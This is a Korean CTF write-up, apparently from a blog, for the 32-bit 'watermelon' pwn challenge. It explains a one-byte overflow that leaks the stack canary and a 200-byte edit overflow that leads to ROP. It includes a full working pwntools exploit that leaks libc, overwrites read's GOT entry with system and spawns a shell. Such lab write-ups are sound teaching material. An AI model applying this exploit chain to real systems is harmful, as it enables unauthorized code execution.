먼저 이 바이너리는 32비트 리눅스용 바이너리다.
그리고 보호기법을 보니 카나리와 nx가 설정되어있다. rop로 접근하면 될 것 같다.
바이너리를 실행하면 위 처럼 먼저 name을 입력하고 메뉴를 선택한다.
이 메뉴들에 대해선 ida로 먼저 살펴봤다.
헥스레이로 main()함수를 보면 알 수 있다.
우선 v1변수에 4400바이트를 memset한다.
그리고 name으로 입력한 값은 bss영역인 0x804D7A0에 값이 들어간다. (익스플로잇 할 때 /bin/sh을 여기에 넣을 수 있겠다.)
sub_80497FA()함수는 위와 같이 메뉴를 출력해주고 입력을 받는 함수다.
우선 1번 메뉴부터 보면
음악리스트를 추가하는 함수다.
dword_804CB88가 100이면 리스트가 꽉 찼다고 출력하고 리턴한다.
그 외엔 새로운 리스트를 추가할 수 있도록 진행된다.
근데 여기서 read()함수가 있는데.. 21바이트를 read를 하면서 1바이트의 오버플로우가 발생한다. 왜냐면 (44 * dword_804CB88 + a1 + 4)는 구조체라서 그렇다.
num[4] | music[20] | artist[20] 이렇게 되어있다. 즉 한 구조체는 44바이트를 가지고 있다.
그리고 두 번 read하는 것은 music과 artist를 받기 때문인데 둘 다 20바이트의 공간을 가지고 있으나 21바이트를 받게되면 오버플로우가 발생한다. 하지만 이걸로는 ret를 덮을 수 없다.
이 부분은 이후에 카나리를 릭할 때 필요하게 된다.
그리고 2번 메뉴는 단순히 저장된 음악 리스트를 출력해주는 함수다.
그리고 3번 메뉴를 보자.
이 메뉴는 이미 생성된 음악 리스트를 수정하는 함수다.
여기서 두번째 read()를 보면 200바이트나 수정을 한다. 즉 오버플로우를 일으킬 수 있다는 것이다.
시나리오는 먼저 1번 메뉴를 생성해 구조체의 최대 개수인 100개를 생성한 후 main()의 카나리를 릭 하고, 3번 메뉴를 실행시켜서 100번째 구조체의 artist를 수정할 때 canary부터 ret까지 덮어서 rop를 할 것이다.
우선 카나리를 구할 때 첫바이트가 널일 경우는 read에 21바이트를 입력하면 카나리가 출력이 된다.
from pwn import * p = process("./watermelon") elf = ELF("./watermelon") name = 0x804D7A0 write_plt = elf.plt['write'] read_plt = elf.plt['read'] read_got = elf.got['read'] pppr = 0x8048f0d system_offset = 0x9ad60 #read - system log.info("binary is executing...") p.recv() p.sendline("/bin/sh\x00") p.recv() log.info("looping..") for i in range(0, 100): p.sendline("1") p.recvuntil("music") p.recv() p.sendline("A") p.recv() p.sendline("B") sleep(0.2) p.recv() log.info("playlist is FULL!") p.sendline("3") p.recvuntil("100") p.recv() p.sendline("100") p.recv() p.sendline("GGGG") # modify music p.recv() p.sendline("T"*20) # leak canary p.recv() p.sendline("2") p.recvuntil("T"*20) canary = u32("\x00" + p.recv().split("\x0a")[1][0:3]) log.info("leaked CANARY = {}".format(hex(canary))) payload = "A"*20 payload += p32(canary) payload += "A"*12 payload += p32(write_plt) payload += p32(pppr) payload += p32(1) payload += p32(read_got) payload += p32(4) payload += p32(read_plt) payload += p32(pppr) payload += p32(0) payload += p32(read_got) payload += p32(4) payload += p32(read_plt) payload += "JUNK" payload += p32(name) log.info("Exploit..") p.sendline("3") p.recv() p.recv() log.info("sending 100") p.recv() p.sendline("100") p.recv() p.sendline("AAAA") p.recv() p.sendline(payload) p.recv() p.sendline("4") p.recvuntil("BYE BYE\n\n") libc_read = u32(p.recv()) log.info("libc read = {}".format(hex(libc_read))) libc_system = libc_read - system_offset log.info("libc system = {}".format(hex(libc_system))) p.sendline(p32(libc_system)) p.interactive()
'CTF' 카테고리의 다른 글
EasyCTF2017 Simple ROP (0) | 2018.08.01 |
---|---|
Def-camp warmheap (0) | 2018.07.31 |
CodeGate2014 nuclear (0) | 2018.07.22 |
CodeGate 2014 angry_doraemon (0) | 2018.07.20 |
CodeGate 2017 babypwn (1) | 2018.07.18 |